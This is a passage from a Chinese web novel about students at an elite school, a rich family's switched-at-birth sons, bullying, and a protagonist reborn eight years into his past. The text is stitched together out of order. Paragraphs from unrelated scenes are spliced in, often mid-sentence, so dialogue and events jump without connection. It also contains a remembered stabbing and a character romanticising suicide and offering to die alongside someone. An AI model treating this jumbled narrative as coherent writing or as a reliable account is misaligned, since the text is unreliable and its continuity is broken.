为什么管理员那时候偏偏不在,为什么大门也没有锁上? 他打开了那扇没有锁上的卷帘门,门帘砸上去的那下声音清晰地让人起了起皮疙瘩,他很高兴地走了进去,如同找到了新的冒险地图。 叶阿姨后一步跟了上来,在那里喊着他的名字让他跟自己回去。 但他却说要玩捉迷藏的游戏,得要阿姨找到了他才行。 他躲得很好,小小的一个人,团在了两个纸箱的空隙之间,中药材的味道很浓,这里开了冷气,但因为太兴奋了,他还没多大感觉。 不知道找了多久,他听到阿姨的声音突然变得很压抑很无力,说自己有点不舒服了,和他商量这个游戏能不能先暂停。 他才不会信这么拙劣的谎言,和其他小朋友在一起玩的时候,那些人也用这样的话来骗他,然后在他不情不愿地出来时,得逞地宣布自己赢了。 他才不出去,他要继续藏下去,藏到阿姨找到他为止。 直到他听到了一声很沉重的,什么东西砸到在地上。 陆然又惊醒过来,他把床上的枕头砸到了地上,又发了狠地去撕被子,折腾到呼吸都有些不正常了以后才慢慢停下。 要是换成以前,他早就把全家人都给闹醒了。 但现在,他没有了这样做的勇气。 而且他也不想让那个陆寂看他的笑话。 跟想到了什么似的,陆然突然间打了个寒战。 叶郴是不是恨死他了。 那他会不会去帮陆寂来对付他,联手把他从陆家赶出去。 没错,他们的亲子鉴定报告还是在叶郴家里的医院做的。 他不是爸爸妈妈亲生的孩子,陆寂那个贱人才是。 叶郴还知道那么多事情,他原来的那个家庭所做的一切,如果被捅出来了…… 陆然不敢去想象后果。 外面的天还说漆黑一片,陆然已经没有了丝毫的睡意,他呆呆地坐在床头,目光一点点聚焦。 顾央也不太确定,原本剧情中夏椿跳楼的地点是在学校,但因为提前防备过,所以现在显然没办法继续这么做。 “哥,刚刚那两个人是你高中同学啊。”见风波平静了下来,宋子涵从病房里走出来。 “我不是让你陪着妈妈,你刚刚一直在门口偷看吗?”宋引星背对着他。 “你凶什么凶嘛。”宋子涵埋怨道,“不是我说,刚刚那两个男的,看着就挺有钱的,其中一个带的那个表,跟我们班上一个富二代的一样,好像超级贵的。” “我刚刚看他们还跟你打招呼,你们是不是关系还可以啊,他们平时是不是都会顺便请你去一些高级餐厅吃饭,偶尔还会送点什么他们用不上的东西给你。”宋子涵绕到他哥面前,嘴里说个不停。 “我们班上那个富二代,有时候就给跟他玩的好的人送他不怎么用的手表衣服,就可惜我跟他说不上话……” 宋子涵越说声音越小,他看出了宋引星的脸色很不对劲。 虽然他们之间只差了三岁,但宋子涵真的很怵他这个哥哥。不过既然陆家找了那么个委屈真少爷的说辞,还让陆然继续好好呆着,这场戏究竟谁能笑到最后还不好说。 所以他们也没有立刻落井下石。 万一人家就是有本事,假少爷当着当着还成真了呢? 陆然一步步走到他的位置上,闭了闭眼深呼吸一口气后,向左转头看向旁边的人。 没错,他就坐顾央隔壁。 简直就是冤家路窄。 他昨晚在看完那些聊天记录以后,后悔地快要把手机屏幕都给捏碎了。 他但凡早多看一眼,也不至于毫无心理准备就直接过来送。 沈铭君家里是小三上位,应佳仪的赘婿爸爸想要培养二代赘婿,聂瑛是保姆生的孩子。 他本来以为自己家里发生的事情已经够狗血的了,没想到大家的生活都还挺精彩的。 如果牵扯不到他身上来,那能天天有乐子看他还是挺开心的。 他在心里已经咒了顾央千万遍。 他刚刚听到了余白的话,知道顾央和叶郴昨晚居然还一起吃过饭。 他们都聊了什么? 叶郴知道八年前的事情了吗? 往前面看过去时,刚好叶郴也看了过来。 陆然心里一咯噔,心虚地赶紧移开了视线。 但马上就反应过来,叶郴并没有在看他。 他看过去的方向是顾央。 那张脸上的表情难得不嘻嘻,看了几秒钟后注意到有人在看他,缓缓转移视线后,对着陆然用口型说了几个字。 假少爷。 陆然气得胸口又开始绞痛,他努力试着平复下心情,免得又跟昨天一样又进了趟医院。 顾央这个贱人。 陆然又在心里骂了一句,天天在心里看这个八卦那个八卦的,他怎么不去看点自己的呢。 他刚刚骂到这里,就听到顾央的心声响起。 这个人平时不管在说什么事情都显得很冷漠,脸上很少会有笑容,偶尔还会给人一种心事重重很压抑的感觉。 还动不动就要训他,有时候被说得没办法了,他就只能搬出他妈来做挡箭牌。 沉默许久,宋引星才开口:“这才中午,你不待在学校,跑这里来干什么?” 宋子涵哼了声:“我来看眼妈妈不行吗?平时你总是念我不来不来的,今天我来了还得被你讲。” “你也快中考了,把心思好好放在学习上,不要让妈妈太操心。” “行行行,不说这个了,我有点渴,这里便利店在几楼来着,我要去买水喝,”宋子涵一提到这个就烦,赶紧转移话题。 “你要喝什么,我给你去买。”反正来都已经来了,宋引星也没急着就要走,他本来打算再给妈妈买点必需品,他尽力把刚刚的事情先压下去,让自己忙起来不去想。 “都行,给我买听可乐吧。”宋子涵琢磨着平时他说渴的时候,对方都是让拿杯子去外面自己接,他猜宋引星可能现在身上还有点余钱,就忍不住腆着脸说道。 “对了,哥,你能不能再给我点生活费。”但丁子雨自然不愿意承认他是在害怕,相反的,他的心里冒起一阵邪火。 不就是一个连学费都交不起的穷酸鬼吗,每个月还得领补助金过日子,摆出一副清高做派给谁看? 他冷笑了一声:“命还真大,怎么没把你摔死呢?” 但宋引星还是一言不发,他一步一步地走过来。 刚刚上来的时候,他走得很急很快,但随着越来越接近,他的心反而诡异地平静了下去。 他走到了丁子雨的面前。 如果说聂瑛是他悲剧一生的万恶之源,那么丁子雨就是那个最大的帮凶。 还在学校的时候,丁子雨就已经表现出了对他的不满,虽然时不时会来找麻烦,但是他也还算能够应付。 直到那一次报警之后,丁子雨在现场发现了写有他名字的胸牌,并告诉了聂瑛。 从此之后,聂瑛对于他的每一次霸凌,丁子雨都参与其中,并且大多数时候,聂瑛自持身份不亲自动手,这些脏活累活都是丁子雨代为执行。 在学校的时候是这样,后来辍学以后,虽然日子难熬,但他以为至少是远离了这个噩梦。 慢慢愈合创伤的日子,在某一天丁子雨推开便利店的门时,再次画上了句号。 他的噩梦又回来了。 宋引星有时候都在想,他是不是上辈子造了什么孽才要这么报复他。 但每次动摇之后,他都会重新告诉自己,错的是那些施暴的人。 所以最后,是他亲手将刀捅进了丁子雨的肚子里。 当然,他也为这件事付出了惨痛的代价。 猩红的液体慢慢染湿了他的衣服,面前男人的脸色还残留着不可置信的表情,然后轰然倒在了地上。 至少在那一刻,他并没有后悔。 视线交替,此刻丁子雨还好好地躺在医院的病床上。 那股令人头皮发麻的阴冷感又上来了,而且感觉比刚刚还要更加浓烈,丁子雨惊疑不定地看着宋引星。 “你、你到底要干什么,你是不是以为自己赢了?” “你少在那里得意,我就算真的退学了,反正大不了换个学校就行,反正我家里那么多的钱,这些是你赚一辈子都赚不到的!” “我赢不赢的不知道,但是你,丁子雨。”宋引星面无表情地注视着他,“你已经出局了。” 丁子雨愣愣地睁大了眼睛。 “离开观礼以后,你就没有办法继续做聂瑛的狗了,这样一来,你的家里也就彻底没有你的位置了吧。” 宋引星缓缓地说道:“毕竟你家里的产业,你的后妈也不可能让你得到一点,不是吗?” 震惊,屈辱,愤怒。 无比复杂的情绪在丁子雨的脸上闪过:“你怎么会知道我家里的事情?谁告诉的你?到底是谁?” 他挣扎着爬起来想要去揪宋引星的衣领质问,但才打完石膏的腿根本保持不了平衡,一个踉跄直接摔在了地上。 这个姿态显得他更加狼狈。 宋引星站在原地,居高临下地看着他。 还真是讽刺,上一世他在高考前被人围堵导致错过了考试被迫辍学打工,但是现在,反而是丁子雨被退学了。 看着丁子雨的那副德性,宋引星已经不想在这里浪费时间,他转身就要离去。 丁子雨固然恶心,但他不会忘记,真正的罪魁祸首是谁。 “宋引星,你别以为你傍上顾央就高枕无忧了,顾家那么深的水你淌得明白吗?” 丁子雨已经彻底破防了,他在后面叫嚣,“反正顾清许肯定不会放过你,我看你还能得意几天——” 顾央。 宋引星脚步顿住的神色终于有了变幻。 到这个时间点为止已经发生了很多事情,他被迫下跪,欠下丁子雨的钱打工还债,刘桦因为不堪受辱跳楼自杀。 但现在都没有发生。 而这一切的变数,都开始于一个人。 宋引星看着他:“上星期不是才给过你吗?我说过了不要乱花钱。” “不是,班里要买复习资料,一本就要五六十,你又不是不知道,也不用太多,你再给我三百呗,我这几天去食堂连菜都舍不得打了。” 宋引星本来还想说点什么的。 但他刚刚才和自己的父亲撕扯完,现在已经没有力气,再和自己的弟弟一点点掰扯这些琐碎事。 他最后只是说了句等下手机转你。 “他们牵着手,一起上吊了。” 平淡的话如同平地惊雷,夏椿的耳边传来巨响,他受惊般地看过去,发现是楼下露天平台累在旁边没用完的钢筋砸在了地上。 他也不知道好好的钢筋为什么突然倒了,但顾央却似乎无知无觉,他也来不及去关心这种有的没的问题。 他的背后起了身冷汗:“那你的妈妈……” “她从外面回来后目睹了这一切,后面因为失去了监护人进了孤儿院,成年后考上了当地的学校,就是在那时候刚好遇上了那个过来留学的男人。” “原本以为是新生活的开始,但没想到最后,她也走上了同样的路。” “从那时候起我就在想……”顾央说道,“遗传学里面真的没有自杀基因这种东西吗?” 他说着这些话,语气无端地带上了点飘忽而缠绵的意味。 “我也会在未来,遇到一个足够喜欢的人,在他不幸离开时,在这份基因的作用下随他一起离去吗?” “还是说,在发生这种事情之前,我自己先来选择自己的结局。”说到这里时,他缓缓地顿住,紧接着抬起眼皮,轻声地对夏椿说道,“所以如果你寂寞的话,需要我来一起陪你吗?” 第 83 章 二合一 在听到这句话之后的好几秒钟时间,夏椿的头脑都是空白的。 随后才逐渐地连接上了回忆。 他想起了那天自己路过游泳馆时的情景。 透过玻璃窗的视线中,原本高坐在跳台上的人影向前倾倒,如果是在电影的片段中,那应该会是一个在灰色滤镜下,逐渐聚焦的慢长镜头。 落下的身影最终砸碎了平静的水面,掀起惊涛骇浪。 溅出来的水花打在窗户上,形成湿漉漉地波纹,接着又往下滑落。 那一瞬间的响声在他脑海中形成轰鸣,升起不寒而栗的感觉,明明是暗沉的天气,他的眼前却如同光刺般的炫目。 当时他在想什么呢? 结在心里疏解不掉的郁气像是被巨石砸碎了一样,从心底里泛出令头皮发麻的酸爽感。 他到底怎么了?好朴实无华的商战啊。 所有人都震惊了, 不对,怎么又是聂瑛? 按照这个逻辑来说,不就是聂瑛害死了顾央吗? 听到这里,陆然脸色一变。 虽然没有发生,但这确实是他会干出来的事情。 好几个人往他这里看了眼。 放在以前他们可能还没多大想法,左右不过是看不惯私生子大摇大摆地在眼皮子底下,想要给点教训而已。 可是他们已经知道了真相,名不正言不顺的人是陆然才对。 足以见得陆家这步棋走得有多用心险恶。 自己亲生的孩子反而一辈子都得不到正经的名分。 他和陆寂,最后在一起了?他的爸爸是个赌棍,这对于一个普通家庭来说就已经是灭顶之灾了。 他的妈妈白天在一家服装店里当销售,晚上还会去别人家里当帮佣,帮忙做饭拖地照顾小孩。 但即使辛苦成这样,家里的情况仍然没有任何好转,挣再多的钱,都只是填进了那个无底洞里。 他记得他妈妈最常说的一句话是,他以前不这样的。 前脚才和她的孩子们说着这样的话,后脚就从保险柜里面颤抖着取出辛辛苦苦攒下来的钱,递给她那个眼巴巴看着的丈夫。 她不该去期待一个赌棍的人性,但还是一次又一次地后退自己的底线。 直到幡然醒悟想要后悔的时候,已经晚了。 家里的钱已经没有了,房子也拿去抵押了,她走在半路上时突然昏倒,送去医院查出了绝症,已经错过了最佳治疗期。 这一切都发生在他的初三,但最后他还是非常争气地考到了全市第一。 他完全可以拿着这个成绩去市一中读书,但观礼高中的招生办老师也发来了邀请。 不仅能够免学费,还承诺了高额的补助金,只是要和他提前签订协议,如果高考的时候没能考进全省前十,就必须补交上在校期间的所有补助金和学费。 他知道观礼高中,是一所很有名的的贵族学校,能在里面读书的基本上都是非富即贵。 当时决定去读的时候他没有想太多,他初中班上也有有钱人家的小孩,穿着上万块的鞋子,一到寒暑假就满世界的游玩。 虽然聊不太来,但平时也就是井水不犯河水。 观礼的师资条件和设备都非常豪横,他相信只要他努力读书就行了。 他需要做的只是努力读书,这对于他现在所处的处境来说,已经是最轻松的事情了。 只可惜事与愿违。 他设想中的和其他同学井水不犯河水的景象并没有出现。 就算大部分的人确实如此,但只要出现了一个,他的生活就永远无法宁静。 丁子雨。 这个名字是他噩梦的开始。 刚开始只是有点惹人厌烦而已。 他对这个连自修时间都讲话讲个不停,动不动就向他炫耀自己的名牌包名牌鞋,炫耀自己家里每个月都给多少零花钱的同桌没有任何的好感可言。 后来实在是不堪其扰,他就申请了换位置。 但这么一个小小的举动,却让丁子雨彻底盯上了他。 并且连他自己都没有想到,居然还可能给自己的一生,都带来无法想象的改变。 察觉到有人推门进来,宋引星转过了头去看。 却在门口看到了一个他根本想不到的人。 丁子雨绷着张脸站在那里,见宋引星看过来了,就示意对方出来。 他走到了外面的楼梯口,这里几乎没有人在走动。 站定以后,丁子雨深吸了口气说道:“我想和你谈件事情。” 但宋引星没有接他的话茬,只是冷冷地问道:“你为什么会知道我在这里?” 丁子雨当然不可能说自己是跟了一路跟到这里:“是聂瑛。他找人查了你的情况,连你妈妈在哪个医院都查得清清楚楚。” 听到这话,宋引星的脸色果然变得很难看。 见达成了初步效果,丁子雨赶紧趁热打铁:“宋引星,我知道之前的事情都是我对不起你,但我也是被逼无奈啊。” “都是聂瑛要我这么做的,你也知道他家能量有多大,我没有办法反抗他。” 但就算现在私底下推卸责任,丁子雨也不敢去抹黑聂瑛。 “之前故意撞倒你的咖啡也是他示意我这么做的,都是因为你上次报警坏了他的好事,他家里管教严,因为这件事情没少被他爸妈训,一时气不过才……” 一阵恶心感涌了上来,陆然还有点想呕。 不仅仅因为他是个直男,而且他真的非常非常讨厌陆寂。 陆寂是他这顺风顺水的前半生遭遇过的唯一一道坎,就是因为陆寂的存在,他再也没法理直气壮地当他的陆家小少爷。 如果可以的话,他真的希望陆寂能够彻底从这个世界上消失就好了。 这件事带来的冲击感甚至比那天让全班人都听到了他是假少爷这件事还让他难受。 晕眩感席卷上来,陆然眼睛一闭,又晕倒了过去。 “啊,陆然又晕了。”余白叫道。 顾央坐得最近,而且陆然是往他身上栽的。 他往后倾了倾,没有让陆然砸到他。 “他怎么又哮喘发作了?”顾央挑眉去看。 谢坞从位置上站起来,抓着陆然的手臂把他扶起来:“我送他医院去吧。” 他看着还在仰头观察的顾央,赶紧说道:“没事,不会有什么问题,你别想太多。” “我为什么要想太多?”顾央有些疑惑,脸上还露出了嫌弃的神色,“又不是我把他怎么样了。” 谢坞:“……” 这时,陆然从外面走了进来。 今天他还不是一个人进来的,陆夫人陪同着把他送了进来。 班里的同学都还是第一次见到这样的阵仗,纷纷抬头望过去。 陆夫人左右找了下,看到贺明安后对着他温柔地笑了下。 “然然这几天身体一直不太好,我有点不放心,就想着把他送进来。” 贺明安站了起来,笑容温和:“陆同学的身体我们都了解的,真是辛苦您过来一趟。” 今天早上然然撒娇想让她送,陆夫人自然不会拒绝这么小的一个请求,来都来了,她就顺便拜托贺家的那个孩子帮忙照顾一下。 但那孩子虽然妥帖,但终究不是自家人,不可能照顾多全面,临走时陆夫人心里还是想着把陆寂转进十一班的事情。 叶郴在前面拱火:“陆小少爷这病就是不同凡响,进个医院连智力都退化了,没有大人接送都没办法上学了。” 陆然恼怒地看了他一眼。 他今天的举动只是为了向所有人证明,即使不是陆家的亲生儿子,他也不会因此受到任何影响。 但班里那些人看他的眼神奚落意味更重了。 陆然气得要命,但又没地发作,他蹬蹬蹬走到了顾央面前。 “顾央,你出来一下,我有话要问你。” 他这句话一出,班里的气氛顿时凝固了些。 陆然这个人脾气大又没谱,再遇上顾央,指不定就把能听到心声这件事情直接给捅了出去。 但没想到,最先按耐不住的人大步走过来的人居然是叶郴。 这人虽然是个搅屎棍,但一般来说都只是动动嘴,从来没有真干过什么。 “你说出来就出来啊,架子好大啊。”叶郴靠在顾央的桌边,脸上缓缓浮现出一个笑,“不会吧不会吧,你还真当自己还是陆家少爷呢?” 陆然脸色一下子白了。 这毫无情面把他踩在地上的话是一回事,但叶郴这个人本身是另一回事。 每次面对叶郴时,他总是有种说不出的心虚。 看着那张无比肖似的面容,他就会想到叶夫人,和那个怎么也忘不掉的噩梦。 “我找顾央关你什么事?” “怎么不关我的事?”叶郴扯了下嘴角,“大家都是同学啊,你有什么话,不如就在这里一起说了吧,放你们两个单独在外面,我害怕你万一突然暴走打了顾央怎么办呀?” 听到那句都是同学时,好几个人回忆叶郴昔日战绩,都露出了诡异的神色,但此刻还是点点头,统一了战线。 陆然气得冷笑一声,他指了指自己,又指了指顾央。 他打顾央?开什么玩笑? 他打得过吗? 再说了,顾央是什么需要全班同学一起呵护的娇花吗?护成这样。 这下把陆然架得进也不是退也不是,毕竟他要讲的那些话可不是能够当众说的。 顾央恹恹地看了他们一眼。 他也没懂为什么叫的是他,叶郴反而搁这里又唱又跳的。 他就坐在位置上面听着叶郴一句,陆然一句的对峙,时不时其他同学还会插进去一句,他也理解不了到底在吵什么。 顾央垂下眼睫,在看不到的地方,他眼中阴郁和厌倦的神色愈来愈浓烈。 讲道理就是你啊,两次都是你。 他刚刚听了顾央的那个心声,弄得都不知道该摆什么态度才好,忍不住多说了几句。 年纪轻轻的寻什么短见啊。 但他也知道这不是眼下能说的事情,只好暂时压在了心底,先带着陆然出去了。 后续倒是风平浪静的,一整天都没再发生点什么。 放学后,收拾好东西的顾央和贺明安一起离开。 余白几次欲言又止地看着他们,贺明安发现了他的不对劲,给了对方一个安抚的微笑。 余白能够get到这意思是放心一切有他,只好无奈地点了点头。 一直想做却没能做的事情展现在了眼前,恍惚间他似乎代入了其中,从中得到的共情感让他四肢都在发麻。 “我记得之前有个特招生在天台上闹了跳楼,好不容易劝了下来,但后面还有个人也要跟着跳。” 夏椿淡淡地说道:“听说是我们班那个不长眼的欺负到了顾家少爷的头上,把人逼到跳楼的地步。” “我当时就觉得,丁子雨好像也没不长眼到这个地步。”他掩饰般地理了下头发,“原来是你有陪别人跳楼的爱好吗?” 夏椿嘴里的这件事情,顾央都已经模模糊糊地没什么印象了。 “哦?你这么关心我的事情?” “也谈不上吧,那么大的事情,周围的人都在议论,就听了几句进去。” 这时,独自站在床尾边上,神色冷漠的男生微微抬起了头。 “你这孩子……说什么傻话呢?”陆夫人下意识扫了眼那个男生,“我们不是说好了吗,从今往后,小寂也是你的哥哥,大家都是一家人了。” “我不要,我没有这个哥哥,让他滚——” 外面的护士推门进来,脸色不太好看:“十六床病人及家属,请保持安静,楼道上还有其他需要休息的其他病人。” 陆争歉意地点点头。他原本还以为是聂瑛又想出了新的折腾人的方法,但眼下看着好像并不是这样。 身上的衣服可以被人替换,手机里的时间也能够被修改。但这张脸却没有办法动任何手脚。 宋引星闭上了眼睛,不再去看镜中的人。 他居然真的回到了八年前。 护士惊慌失措地跑进来查看情况,询问他是否哪里不舒服。 他回来了。 宋引星在心里重复地默念了一遍。 回到了他最狼狈最不堪,也最想要去拯救的高中时期。 辍学出来打工后,因为缺少文凭,他根本找不到一份正经的工作,只能在便利店打临时工,还干着好几份兼职,去偿还在观礼高中欠下的债务。 社会和学校的运行规则完全不一样,他磕磕绊绊了好久才勉强适应。 在那段灰暗的时光里,他曾经不止一次想过,要是当年没有去观礼就好了。 但他更多的是恨。 对于聂瑛施加在他身上所作所为的怨恨。 发散出去的意识终于回到身体里,宋引星终于听到了旁边护士的话。 他现在精神还有点恍惚和错位,需要一点点地去回想在此之前发生过的事情。 “当时和我一起摔下楼的那个人在哪里?” “你是说你的同学吗?”护士不知道他们之间发生了什么,只当是不小心一起摔了下去,“他精神还行,就是小腿骨骨折了,现在在楼上的骨科病房。” “倒是你,我们给你查了下,有轻微的脑震荡,你现在头晕不晕啊,还是先躺回去吧。” 宋引星摇了摇头只说自己没事,换了鞋后就去找人。 原本躺在病床上的丁子雨,看到走进来的宋引星,脸上下意识露出心虚的神色。 他知道楼梯上那下是自己太冲动了,还把自己赔了进去折了条腿。 而且他都没有想到,宋引星那么大个人,摔了半层的楼梯,居然直接不省人事昏了过去。 他现在的处境本来就不太好,要是宋引星真出了点什么事情,他只会更加完蛋。 还好这看着也没什么问题,丁子雨想着反正推都推了,宋引星能又能拿他怎么样? 他不想落入下风,于是抬起眼故作镇定地去看对方。 但这么定眼一看,丁子雨心里突然咯噔了一下。 不知道为什么,他总觉得面前的人有哪里不一样了。 明明还是那张冷漠,拒人于千里之外的脸,一动不动地站在那里,目光幽暗地看着自己。 什么话都没说,但丁子雨却莫名地起了点鸡皮疙瘩。 那个男生终于还是忍不住了,他面无表情地说道:“我去外面等你们。” 陆夫人望着他,张了张嘴,但最终还是没能说出挽留的话。 等人走后,病房里的气氛总算没有刚刚那么紧绷。 陆夫人也在心中暗暗松了口气,她给自己丈夫一个眼神让对方把床摇上去,然后心疼地搂住了陆然。 刚刚陆寂在的时候,她不太好做出太亲密的动作。 “你去学校前怎么跟妈妈保证的,说好不会想太多的。”陆夫人难过地轻声细语,“早知道你回去第一天就发病的话,我怎么说也得让你在家里再休息两天。” 躺在熟悉的温暖怀抱里,陆然鼻子瞬间酸涩起来,他以前最眷恋这个怀抱,但为什么还没过几天,一切都变了。 陆总说道:“之前不是刚刚检查过,医生都说了没事,怎么突然又发病了。” “然然,是学校里有人说了什么闲话吗?”陆争怕刺激到这个浑身雷点的弟弟,也尽量用柔和的语气去问。 他们保密工作做得很好,只要不出意外,没有第九个人会知道这件事情。 陆然不敢告诉他们,这件事已经漏得跟筛子一样了。 不仅顾央知道了,他还用了某种妖术,疑似让全班同学都听到了这件事情。 大家都知道他才是冒牌货这件事情。 “然然,对外我一直都是说,你就是我陆振兴的儿子,这点永远不会改变,不管外面的人怎么说,你永远可以有底气地跟他们说,你就是陆家的孩子。”陆总信誓旦旦地保证。 陆夫人紧接着说道:“是啊然然,不管是爸爸妈妈还是哥哥,都是把你当成我们的亲生儿子来看,但你却先跟我们生分了,你这样妈妈心里真的很难过。” “而且你小时候有段时间一直在闹,说哥哥一直没时间陪你,让我们再给你生个哥哥,我们就说啊,傻孩子,再生也只能生出小弟弟了,你才作罢了。” “你看现在多好啊,你真的又多了一个哥哥来宠你。”陆夫人细细把这件事掰碎了跟陆然讲道理,降低他抵触的心理,“小寂不是来拆散我们的,他是来加入我们这个家庭的。” 陆然没吭声。 相比前几天又哭又闹的样子,现在倒像是能听进去点了。 陆夫人他们几个不由欣慰。 然然果然长大懂事了。 陆然看着他们,看着坐在床边搂着自己的陆夫人,站在一侧的陆总和陆争,突然之间觉得有些陌生。 自从被告知自己不是陆家的孩子后,他突然间觉得,自己身上有什么东西被抽走了。 他一直以来有恃无恐的底气不见了。 他害怕,不管是坐在餐桌上,沙发上甚至是在自己房间里,那份恐惧都如影随形。 第一次害怕的时候,他闹得跳进房间里面整整不出来三天。 最后那个人只能生硬地套了个他的双胞胎弟弟的身份进来。 第二次害怕的时候,他赌气断了自己吃哮喘的药,半夜被救护车推进了医院。 最好那个人没法跟他在一个班级里碍他的眼睛了。 这个手段是有用的。 但如果,如果真的像顾央说的那样,自己是为了报复陆家而被换过来的话,得知自己的亲生孩子被故意搓磨了那么多年。 到那时候,爸爸妈妈和对他的爱还能够如同以前一样一分不减吗? 他又开始害怕了。 陆争看陆然的病情和情绪都稳定了下来,加上时间已经下午一点多了,陆夫人有胃病必须按时吃饭,他就提议先出去吃完饭再回来。 一看他们要走,陆然一下就拉住了陆夫人的手。 夏椿:“……你还真是好像毫不在意地说出了对我来说不得了的名字。” “不过算了。”他现在倒是从最开始那种自顾自的消沉情绪中走出来了一点,现下那个人也不在,他们也没有怀抱着以前那种恐惧般的排斥:“你怎么会为了他做到这个地步?” “所以你刚刚说的喜欢的人,指的就是他吗?”夏椿试探着问道。 曾经的那桩事情给彼此之间都留下了阴影,自认为是始作俑者,夏椿也曾经想过那个人是否会从此抵触亲密关系,最后孤独终老。 他希望对方能够得到幸福。 在凭借一己之力把夏椿弄懵逼了那么多次后,这次轮到顾央头顶冒问号了。 “什么啊,居然不是吗?”夏椿扯了下嘴角嘀咕道,“那还能有谁……” 突然间,他的脑海中模模糊糊的人影,在电光火石间清晰了起来。 差点都忘记了,明明近在眼前看到过好几次的。 但他也没有继续猜名字,不然显得自己像个热心的居委会大妈一样。 “现在时间也不早了,这种地方晚了万一有什么不良分子晃悠,我们也该走了。” 夏椿这么说着,眼睛看向通向这边室外的门。 突然间,他跟看到了什么似的,眼睛不确定地眯了下。 原本站在上面还没有发现的,站在墙角后的不太真切的人影。 旁边散落了一地钢筋,他原本就在奇怪,没有人的地方怎么会砸下东西。 “谁在那里?”他冷声喝道,同时把还在状况外什么都没有察觉到的顾央拦在了身后。 那个人影缓缓地走了出来,走到月光能够照到的地方。 夏椿微微睁大了眼睛,是完全在意料之外的人。 顾央先开了口:“你怎么在这里?” 宋引星的面容在月光下格外清晰地显现出来。 第 84 章 二合一 顾央记得,在原著里,关于陆家双胞胎的真相,一直到了非常后面才揭露出来。 但很多事情都已经发生了变化,应佳仪的事,还有聂瑛生母是保姆的事。 他也没有太纠结这个问题。 演完这一出后,叶郴还在非常敬业地为这件事继续打补丁。 “当然是真的,他们的亲子鉴定还是在我家的医院里做的。” 余白:? 不是哥们,你怎么还张口就来了? 叶郴当然不可能是提前知道了这件事情,以叶郴的性格,如果他真的知道了,肯定就要直接在群聊里艾特陆然贴脸开问了。 不过这样一来,他们也能直接公开八卦这件事情了。 “班长,你们把人送过去的时候,陆家那个真少爷去了没有啊。”谢坞好奇问道。 “去了。”他也是这样- 陆然从床上惊醒了过来。去校门口的路上,他们之间有些沉默。 顾央不会主动抛出话题,而且除非是他感兴趣的东西,不然也仍然是吝于言辞。 贺明安也只是捡些寻常的事情和他闲聊,并没有开启其余什么话题。 他们走着走着,突然有一个人横出来拦住了他们,表情慌乱又无助。 顾央看着那张脸,一时之间想不起来:“你是谁?” 贺明安倒是一眼就认了出来,他笑着问候:“这不是刘桦同学吗?听说你选择回来上课了,而且最近几次小测的成绩都挺好的。” 刘桦先是懵逼地看着顾央,他没想到才过去几天发生的这么大一件事情,他的救命恩人居然就把他的脸给忘记了。 而在贺明安问他时,他感激地连连点头,他也没想到,这位贺少爷居然还在关注他,连他的成绩都清楚。 但他没忘了正事,赶紧说道:“引星被人堵在校门口的死胡同里了,是十一班那个聂瑛,他带了好几个人过来——” 那群人来势汹汹,刘桦没见过这阵势,吓得赶紧折回来找人。 他们赶过去的时候,聂瑛已经上手了。 宋引星后背抵在墙上,他的嘴角在流血,脸上也沾了灰,正在和对面的聂瑛一群人对峙。 聂瑛姿态悠闲地看着他,居高临下地看着他。 不知道为什么,和之前看过的那份隐忍比起来,那双漆黑的眼睛,在死死盯着他的时候,无端地多了份戾气。 这份认知让聂瑛感到不爽,但又不想亲自动手丢了体面。 他挥挥手,示意后面的人接着上。 就算他一时间失了势,只是想找几条听话的狗过来,也就是招招手的事情。 “聂瑛。”但这并不代表他心里的疙瘩已经消了。 所以明知道顾清许故意提这件事想拿他当枪使,他也还是没忍住过来找了宋引星的麻烦 见聂瑛表情实在是不对,宋引星冷着脸把顾央扯到了身后,自己挡在前面。 聂瑛森然的目光转移到了他身上。 这下倒好了,连这个穷酸鬼都知道,他是保姆生的了。 顾央,他怎么敢这么羞辱自己! 现场一触即发。没有母亲会在孩子挡在自己面前被殴打的时候,会做到完全无动于衷的。 就算再怎么照顾患有残疾的孩子,也不可能偏心到让另一个还在上学的时候就去打工赚治疗费。 林春眉一直对他有股若有若无的恶意,往小了说是打压,往大了就是见不得他一点好。 中考结束后他收到了观礼中学招生办的电话。 他本来觉得这是一个很好的,能够改变自己命运的机会。 观礼不仅有校级奖学金,还有很多种类的企业奖学金,数量十分可观,他只要好好学习,还能够借此来改善家庭条件。 那天进行线上面试时,明明嘱咐了需要安静,让其他人都别进来。 连他那个傻哥哥都知道的事情,林春眉却时不时敲他的门进来问些无关紧要的事情,在外面大声说话,甚至后来还直接走了进来,坐在他旁边一声不吭。 只是走个过程的面试,最后却失去了资格。 原本不明白的事情,在知道自己身世的那一天后,他突然隐约猜到了点什么。 陆寂盯着对方,一字一句地问道:“你很早就知道这件事情了?” “……还是说,其实当年就是你把我们两个换掉的?” 林春眉脸色大变,她一把甩掉了陆寂的手:“我不知道你在说什么!” 说完这句话,她惊疑不定地看着陆寂:“你从哪里听来的这些话?” 要是陆家那对夫妇,她就死定了。 陆寂没有回答,让她自己猜去。 林春眉不敢继续在这里待下去了,生怕病房里面的人突然出来找她,匆忙离开时脚下还踉跄了下。 看林春眉那个反应,陆寂基本上已经能够确定这个猜测了。 他重新将手放在门把上,犹豫了好久,但最终还是没有打开。 他现在还没有办法和陆家夫妇说这件事情。 说到底都是猜测,他还没找到证据,再次对峙的话,林春眉估计会咬死不认。 而且……他和那家人之间现在的关系还没那么熟,他不知道该怎么说这些事情,更不敢去想他们究竟会是什么反应。 慢慢来吧。 陆寂缓缓松开手,闭上了眼睛,他在心里对自己说道。 一定会越来越好的- “宋学长——”郑颖趴在窗边,拖长了语气伤心地问道,“夏学姐她今天怎么又不在啊。” 就在这时候,一道身影赶紧闪现了过来。 聂瑛定睛一看,是他爸旁边的那个小助理。 助理惊喜地看向他,一张娃娃脸上满是清澈的愚蠢:“少爷,原来你在这里啊,真是让我好找,聂总来让我接你回去,现在时候也不早了。” 这话当然是骗人的,他老早就看到了他上司的傻逼儿子在那里堵人,但当时战况一触即发,他怕自己凑上去会被顺便一起揍。 但贺家和顾家的少爷也掺合了进来,他怕再不赶紧过去阻止,到时候出了什么事情,那个臭上司肯定先怪到他身上来扣他奖金。 “少爷,我们还是赶紧走吧,是老爷子找的你们,万一去晚了,聂总问起来怎么回事,我也瞒不住啊。” 助理见聂瑛不理他,只能搬出最终杀手锏来。 一说这话,聂瑛只感觉身上的骨头又开始痛了起来,心里满是他爸前几天拿球杆抽他的那个狂躁样子。 “好,我今天有事,先不跟你们计较。”聂瑛冷笑一声给自己找补,临走的时候还撂下一句狠话,“你们给我等着!” 